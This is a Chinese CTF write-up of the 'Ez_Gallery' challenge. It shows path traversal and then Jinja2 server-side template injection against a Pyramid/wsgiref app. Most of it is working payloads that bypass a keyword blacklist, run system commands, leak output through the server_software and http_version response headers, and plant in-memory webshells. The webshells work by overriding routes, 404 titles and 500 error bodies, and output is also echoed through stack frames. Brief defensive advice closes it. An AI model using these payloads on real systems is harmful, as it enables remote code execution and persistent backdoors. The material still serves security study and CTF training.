从国城杯Ez_Gallery实现寻找WSGIRef内存马和Response响应头外带以及栈帧回显的尝试
字数 942 2025-08-22 12:22:15
WSGIRef内存马与Response响应头外带技术研究
1. 漏洞背景分析
本文基于国城杯Ez_Gallery题目,分析如何通过SSTI漏洞实现WSGIRef内存马植入和Response响应头外带数据的技术。
1.1 初始访问
- 使用弱密码
admin:123456可直接登录后台 - 存在任意文件读取漏洞,通过
file参数实现,存在目录穿越问题 - 后端使用
os.path.join直接拼接路径,导致路径遍历
1.2 关键代码分析
def info_view(request):
username = request.session.get('username')
if username != 'admin':
return Response("请先登录", status=403)
file_name = request.params.get('file')
if file_name:
file_path = os.path.join('/app/static/details/', file_name)
try:
with open(file_path, 'r', encoding='utf-8') as f:
return {'file_name': file_name, 'content': f.read(), 'file_base': os.path.splitext(file_name)[0]}
2. SSTI漏洞利用
发现存在/shell路由,可实现Jinja2模板渲染:
def shell_view(request):
expression = request.GET.get('shellcmd', '')
blacklist_patterns = [
r'.*length.*', r'.*count.*', r'.*[0-9].*',
r'.*\..*', r'.*soft.*', r'.*%.*'
]
if any(re.search(pattern, expression) for pattern in blacklist_patterns):
return Response('wafwafwaf')
try:
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
return Response('success' if result else 'error')
except Exception as e:
return Response('error')
2.1 黑名单绕过技术
黑名单过滤了以下内容:
lengthcount- 数字
- 点号(.)
soft- 百分号(%)
绕过方法:
- 使用
[]和|attr()过滤器代替点号访问属性 - 字符串拼接绕过关键词过滤
3. Response响应头外带技术
3.1 通过server_software外带
{{ lipsum['__globals__']['__builtins__']['setattr']((((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']|attr('simple_server')|attr('ServerHandler'), 'server_so''ftware', lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('/readflag')['read']())}}
3.2 通过http_version外带
{{ lipsum['__globals__']['__builtins__']['setattr']((((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']|attr('handlers')|attr('BaseHandler'), 'http_version', lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('/readflag')['read']())}}
4. WSGIRef内存马技术
4.1 路由覆盖内存马
{{(lipsum['__globals__']['__builtins__']['exec'])("config=Configurator()%0agetattr(config,'add_route')('jerry','/jerry')%0agetattr(config,'add_view')(lambda context, request:shell,route_name='jerry',renderer='string',permission='view')%0agetattr(config,'scan')()%0aapp = getattr(config,'make_wsgi_app')()%0aprint(WSGIServer)%0asetattr(WSGIServer,'application',app)",{"simple_server":(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']['simple_server']['WSGIServer'],"shell":lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read'](),'WSGIServer':(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['__main__']['server'],'Configurator':(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['__main__']['Configurator']})}}
4.2 404 Not Found内存马
修改HTTPNotFound类的title或explanation属性:
{{(lipsum['__globals__']['__builtins__']['exec'])("setattr(Not,'title',shell)",{"Not":(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['pyramid']['httpexceptions']['HTTPNotFound'],"shell":lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']()})}}
4.3 500 Internal Server Error内存马
修改BaseHandler的error_body属性:
{{ lipsum['__globals__']['__builtins__']['setattr']((((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['wsgiref']|attr('handlers')|attr('BaseHandler'), 'error_body', lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('whoami')['read']()['encode']())}}
5. 动态命令执行技术
通过截取request对象字符串实现动态命令执行:
{{(lipsum['__globals__']['__builtins__']['exec'])("num=True%2BTrue%2BTrue%2BTrue%2BTrue%2BTrue%0acmd=str(request)[-int(num):]%0af=popen(cmd)%0aresult=getattr(f,'read')()%0aprint(result)%0asetattr(Not,'explanation',result)",{"Not":(((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))['pyramid']['httpexceptions']['HTTPNotFound'],"popen":lipsum['__globals__']['__builtins__']['__import__']('os')['popen'],"request":request})}}
6. 栈帧回显技术
通过inspect模块获取当前栈帧实现回显:
{{(lipsum['__globals__']['__builtins__']['exec'])("inspect=__import__('inspect')%0aframe=getattr(inspect,'currentframe')()%0alocal_vars = getattr(frame,'f_locals')%0aresult=shell%0aprint(local_vars[result])",{"shell":lipsum['__globals__']['os']['popen']('whoami')|attr('read')()})}}
7. 防御建议
- 避免使用弱密码和默认凭证
- 对用户输入进行严格过滤和验证
- 使用安全的路径拼接方法
- 禁用危险的Python内置函数
- 限制模板引擎的功能
- 实施最小权限原则
- 定期进行安全审计和代码审查
8. 总结
本文详细分析了通过SSTI漏洞实现WSGIRef内存马植入和Response响应头外带数据的多种技术,包括:
- 响应头外带(server_software和http_version)
- 路由覆盖内存马
- 404/500错误页面内存马
- 动态命令执行技术
- 栈帧回显技术
这些技术展示了Python Web应用中潜在的安全风险,强调了安全开发实践的重要性。